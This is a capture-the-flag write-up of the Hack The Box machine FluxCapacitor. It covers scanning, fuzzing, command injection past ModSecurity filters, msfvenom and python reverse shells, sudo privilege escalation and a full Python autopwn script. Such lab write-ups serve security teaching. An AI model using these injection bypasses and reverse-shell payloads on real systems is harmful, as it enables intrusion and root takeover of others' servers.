FluxCapacitor write-up
Ανάλυση του FluxCapacitor
Enumeration
Port scanning
Let’s scan the full range of TCP ports using my tool htbscan.py (you can find it here: https://github.com/Alamot/code-snippets/blob/master/enum/htbscan.py).
$ sudo htbscan.py 10.10.10.69 500
Running command: sudo masscan -e tun0 -p0-65535 --max-rate 500 --interactive 10.10.10.69
Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2018-05-11 21:23:48 GMT
-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [65536 ports/host]
Discovered open port 80/tcp on 10.10.10.69
Running command: sudo nmap -A -p80 10.10.10.69
Starting Nmap 7.70 ( https://nmap.org ) at 2018-05-12 00:27 EEST
Nmap scan report for node1.fluxcapacitor.htb (10.10.10.69)
Host is up (0.100s latency).
PORT STATE SERVICE VERSION
80/tcp open http SuperWAF
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 404 Not Found
| Date: Fri, 11 May 2018 21:28:20 GMT
| Content-Type: text/html
| Content-Length: 175
| Connection: close
| <html>
| <head><title>404 Not Found</title></head>
| <body bgcolor="white">
| <center><h1>404 Not Found</h1></center>
| <hr><center>openresty/1.13.6.1</center>
| </body>
| </html>
| GetRequest:
| HTTP/1.1 200 OK
| Date: Fri, 11 May 2018 21:28:19 GMT
| Content-Type: text/html
| Content-Length: 395
| Last-Modified: Tue, 05 Dec 2017 16:02:29 GMT
| Connection: close
| ETag: "5a26c315-18b"
| Server: SuperWAF
| Accept-Ranges: bytes
| <!DOCTYPE html>
| <html>
| <head>
| <title>Keep Alive</title>
| </head>
| <body>
| node1 alive
| <!--
| Please, add timestamp with something like:
| <script> $.ajax({ type: "GET", url: '/sync' }); </script>
| <hr/>
| FluxCapacitor Inc. info@fluxcapacitor.htb - http://fluxcapacitor.htb<br>
| <em><met><doc><brown>Roads? Where we're going, we don't need roads.</brown></doc></met></em>
| </body>
| </html>
| HTTPOptions:
| HTTP/1.1 405 Not Allowed
| Date: Fri, 11 May 2018 21:28:19 GMT
| Content-Type: text/html
| Content-Length: 179
| Connection: close
| <html>
| <head><title>405 Not Allowed</title></head>
| <body bgcolor="white">
| <center><h1>405 Not Allowed</h1></center>
| <hr><center>openresty/1.13.6.1</center>
| </body>
| </html>
| RTSPRequest:
| <html>
| <head><title>400 Bad Request</title></head>
| <body bgcolor="white">
| <center><h1>400 Bad Request</h1></center>
| <hr><center>openresty/1.13.6.1</center>
| </body>
| </html>
| X11Probe:
| HTTP/1.1 400 Bad Request
| Date: Fri, 11 May 2018 21:28:20 GMT
| Content-Type: text/html
| Content-Length: 179
| Connection: close
| <html>
| <head><title>400 Bad Request</title></head>
| <body bgcolor="white">
| <center><h1>400 Bad Request</h1></center>
| <hr><center>openresty/1.13.6.1</center>
| </body>
|_ </html>
|_http-server-header: SuperWAF
|_http-title: Keep Alive
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.2 - 4.9 (95%), Linux 3.16 (95%), Linux 3.18 (95%)
No exact OS matches for host (test conditions non-ideal).
Fuzzing /Sync
If we visit http://10.10.10.69/ and have a look in the source code, we see this:
...
<script> $.ajax({ type: "GET", url: '/sync' }); </script>
...
Let’s check that url:
curl http://10.10.10.69/sync --verbose
* Trying 10.10.10.69...
* TCP_NODELAY set
* Connected to 10.10.10.69 (10.10.10.69) port 80 (#0)
> GET /sync HTTP/1.1
> Host: 10.10.10.69
> User-Agent: curl/7.57.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Date: Mon, 18 Dec 2017 07:25:54 GMT
< Content-Type: text/plain
< Transfer-Encoding: chunked
< Connection: keep-alive
< Server: SuperWAF
<
20171218T08:25:54
Note that there is a filter that blocks some user agents. So if you have the word “Mozilla” or “Opera” in your user agent string you will get 403 forbidden. Here is the relevant rule from the /usr/local/ope\nresty/nginx/conf/nginx.conf file:
SecRule REQUEST_HEADERS:User-Agent "^(Mozilla|Opera)" "id:1,phase:2,t:trim,block"
Now let’s fuzz /sync to see if we find anything interesting:
$ wfuzz --hh BBB -H "User-Agent:alamot" -c -z file,/usr/share/SecLists/Discovery/Web-Content/burp-parameter-names.txt http://10.10.10.69/sync/?FUZZ{not_this}=test
********************************************************
* Wfuzz 2.1.5 - The Web Bruteforcer *
********************************************************
Target: http://10.10.10.69/sync/?FUZZ=test
Total requests: 2589
==================================================================
ID Response Lines Word Chars Request
==================================================================
00000: C=200 2 L 1 W 19 Ch "not_this"
00705: C=403 7 L 10 W 175 Ch "opt"
We used /sync/?FUZZ{not_this}=test and we hoped to get a different answer for some parameter. The {not_this} is something we know that it doesn’t exist and it help us to set the baseline. We are lucky because “test” is forbidden and we get a different answer when it is used in context with the parameter opt. Other value that would work is for example “date”. We will see that there is a filter that forbids all the words that there are inside the /usr/local/openresty/nginx/conf/unixcmd.txt file.
RCE
We can get RCE like this:
$ curl "http://10.10.10.69/sync?opt=' /usr/bin/whoami'"
nobody
bash: -c: option requires an argument
We can bypass some filtering using backslash escape \ or brace expansion []:
$ curl "http://10.10.10.69/sync?opt=' /usr/bin/whi[c]h mk\nod'"
/bin/mknod
Now, let’s examine a little more the point of injection using the command ps:
curl "http://10.10.10.69/sync?opt=' p\s aux'"
nobody 29849 0.0 0.0 4608 868 ? S 17:19 0:00 sh -c CMD='/home/themiddle/checksync ' p\s aux''; bash -c ${CMD} 2>&1
We can get and examine some files like this:
curl "http://10.10.10.69/sync?opt=' c\at /usr/local/ope\nresty/nginx/conf/nginx.conf'" > nginx.conf
curl "http://10.10.10.69/sync?opt=' c\at /usr/local/ope\nresty/nginx/conf/unixcmd.txt'" > unixcmd.txt
If we look inside nginx.conf we see the filtering rules and the command injection point:
...
modsecurity on;
location /sync {
default_type 'text/plain';
modsecurity_rules '
SecDefaultAction "phase:1,log,auditlog,deny,status:403"
SecDefaultAction "phase:2,log,auditlog,deny,status:403"
SecRule REQUEST_HEADERS:User-Agent "^(Mozilla|Opera)" "id:1,phase:2,t:trim,block"
SecRuleEngine On
SecRule ARGS "@rx [;\(\)\|\`\<\>\&\$\*]" "id:2,phase:2,t:trim,t:urlDecode,block"
SecRule ARGS "@rx (user\.txt|root\.txt)" "id:3,phase:2,t:trim,t:urlDecode,block"
SecRule ARGS "@rx (\/.+\s+.*\/)" "id:4,phase:2,t:trim,t:urlDecode,block"
SecRule ARGS "@rx (\.\.)" "id:5,phase:2,t:trim,t:urlDecode,block"
SecRule ARGS "@rx (\?s)" "id:6,phase:2,t:trim,t:urlDecode,block"
SecRule ARGS:opt "@pmFromFile /usr/local/openresty/nginx/conf/unixcmd.txt" "id:99,phase:2,t:trim,t:urlDecode,block"
';
content_by_lua_block {
local opt = 'date'
if ngx.var.arg_opt then
opt = ngx.var.arg_opt
end
-- ngx.say("DEBUG: CMD='/home/themiddle/checksync "..opt.."'; bash -c $CMD 2>&1")
local handle = io.popen("CMD='/home/themiddle/checksync "..opt.."'; bash -c ${CMD} 2>&1")
local result = handle:read("*a")
handle:close()
ngx.say(result)
}
...
Getting shell
Getting Xterm shell
Make sure your Xserver is listening to TCP:
$ netstat -lntup
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID
tcp 0 0 0.0.0.0:6000 0.0.0.0:* LISTEN -
tcp6 0 0 :::6000 :::* LISTEN -
New Xserver versions have tcp listening disabled by default. Consult your distro how to enable it. You may have to change your display manager settings or the xserverrc file, e.g.:
$ cat /etc/X11/xinit/xserverrc
#!/bin/sh
if [ -z "$XDG_VTNR" ]; then
exec /usr/bin/X -listen tcp "$@"
else
exec /usr/bin/X -listen tcp "$@" vt$XDG_VTNR
fi
Then all you have to do is to allow incoming connections from the specific IP:
$ xhost +10.10.10.69
Now let’s connect:
$ curl "http://10.10.10.69/sync?opt=' /usr/bin/xter\m -display 10.10.15.203:0'"
$ curl "http://10.10.10.69/sync?opt=' DISPLAY=10.10.15.203:0 /usr/bin/xter\m'"
Getting a shell by uploading a linux elf
We can get a reverse shell this way too:
$ msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.15.15 LPORT=80 -f elf > /var/www/html/index.html
$ curl "http://10.10.10.69/sync?opt=' w\get 10.10.15.15 -P /tmp'
$ curl "http://10.10.10.69/sync?opt=' c\hmod +x /tmp/index.html'
$ curl "http://10.10.10.69/sync?opt=' /tmp/index.html'
Don’t forget to listen:
$ sudo nc -lvp 80
connect to [10.10.15.15 ] from (UNKNOWN) [10.10.15.15 ] 54678
...
Privilege escalation
Let’s examine if we have sudo:
$ curl "http://10.10.10.69/sync?opt=' sudo -l'"
Matching Defaults entries for nobody on fluxcapacitor:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User nobody may run the following commands on fluxcapacitor:
(ALL) ALL
(root) NOPASSWD: /home/themiddle/.monit
Nice! Let’s check this .monit script:
root@fluxcapacitor:/home/themiddle# cat .monit
#!/bin/bash
if [ "$1" == "cmd" ]; then
echo "Trying to execute ${2}"
CMD=$(echo -n ${2} | base64 -d)
bash -c "$CMD"
fi
All it needs is a base64-encoded command argument:
$ $ echo -ne cat /root/root.txt | base64
Y2F0IC9yb290L3Jvb3QudHh0
$ curl -s "http://fluxcapacitor.htb/sync?opt='\{ sudo /home/themiddle/.monit cmd Y2F0IC9yb290L3Jvb3QudHh0 \}'"
Trying to execute Y2F0IC9yb290L3Jvb3QudHh0
bdc89b40eda244649072189a8438b30e
Autopwn script
Here is my autopwn script:
#!/usr/bin/env python2
import base64
import signal, thread
import requests, urllib
from pwn import *
signal.signal(signal.SIGINT, signal.SIG_DFL)
LHOST="10.10.14.43"
LPORT=60001
RHOST="10.10.10.69"
RPORT=80
PAYLOAD = "/usr/bin/python3 -c \"import os,pty,socket;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('"+str(LHOST)+"',"+str(LPORT)+"));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);os.putenv('HISTFILE','/dev/null');pty.spawn(['/bin/bash','-i']);s.close();exit();\""
class NoEncodingSession(requests.Session):
def send(self, *a, **kw):
# a[0] is prepared request
a[0].url = urllib.unquote(a[0].url)
return requests.Session.send(self, *a, **kw)
def send_shell_payload():
encoded_payload = "\\".join(base64.b64encode(PAYLOAD))
log.info("http://"+str(RHOST)+":"+str(RPORT)+"/sync?opt=' sudo /home/themiddle/.monit cmd "+encoded_payload+"'")
try:
log.info("I am sending the encoded payload for you...")
client = NoEncodingSession()
client.keep_alive = False
url = "http://"+str(RHOST)+":"+str(RPORT)+"/sync"
response = client.get(url, params="opt=' sudo /home/themiddle/.monit cmd "+encoded_payload+"'")
print("STATUS CODE: "+str(response.status_code))
print(response.text)
except requests.exceptions.RequestException as e:
log.failure(str(e))
finally:
if client:
client.close()
try:
threading.Thread(target=send_shell_payload).start()
except Exception as e:
log.error(str(e))
shell = listen(LPORT, timeout=10).wait_for_connection()
if shell.sock is None:
log.failure("Connection timeout.")
sys.exit()
shell.interactive()
sys.exit()
Let’s run it:
$ python2 autopwn_flux.py
[*] http://10.10.10.69:80/sync?opt=' sudo /home/themiddle/.monit cmd L\3\V\z\c\i\9\i\a\W\4\v\c\H\l\0\a\G\9\u\M\y\A\t\Y\y\A\i\a\W\1\w\b\3\J\0\I\G\9\z\L\H\B\0\e\S\x\z\b\2\N\r\Z\X\Q\7\c\z\1\z\b\2\N\r\Z\X\Q\u\c\2\9\j\a\2\V\0\K\H\N\v\Y\2\t\l\d\C\5\B\R\l\9\J\T\k\V\U\L\H\N\v\Y\2\t\l\d\C\5\T\T\0\N\L\X\1\N\U\U\k\V\B\T\S\k\7\c\y\5\j\b\2\5\u\Z\W\N\0\K\C\g\n\M\T\A\u\M\T\A\u\M\T\Q\u\N\D\M\n\L\D\Y\w\M\D\A\x\K\S\k\7\b\3\M\u\Z\H\V\w\M\i\h\z\L\m\Z\p\b\G\V\u\b\y\g\p\L\D\A\p\O\2\9\z\L\m\R\1\c\D\I\o\c\y\5\m\a\W\x\l\b\m\8\o\K\S\w\x\K\T\t\v\c\y\5\k\d\X\A\y\K\H\M\u\Z\m\l\s\Z\W\5\v\K\C\k\s\M\i\k\7\b\3\M\u\c\H\V\0\Z\W\5\2\K\C\d\I\S\V\N\U\R\k\l\M\R\S\c\s\J\y\9\k\Z\X\Y\v\b\n\V\s\b\C\c\p\O\3\B\0\e\S\5\z\c\G\F\3\b\i\h\b\J\y\9\i\a\W\4\v\Y\m\F\z\a\C\c\s\J\y\1\p\J\1\0\p\O\3\M\u\Y\2\x\v\c\2\U\o\K\T\t\l\e\G\l\0\K\C\k\7\I\g\=\='
[+] Trying to bind to 0.0.0.0 on port 60001: Done
[*] I am sending the encoded payload for you...
[+] Waiting for connections on 0.0.0.0:60001: Got connection from 10.10.10.69 on port 49114
[*] Switching to interactive mode
root@fluxcapacitor:/# $ whoami
root
As you see, I escape every single character in the base64-encoded command argument. I do this to avoid being blocked by some filtering rule that will match some random combination of letters. You can download the script here: https://github.com/Alamot/code-snippets/blob/master/hacking/HTB/FluxCapacitor/autopwn_flux.py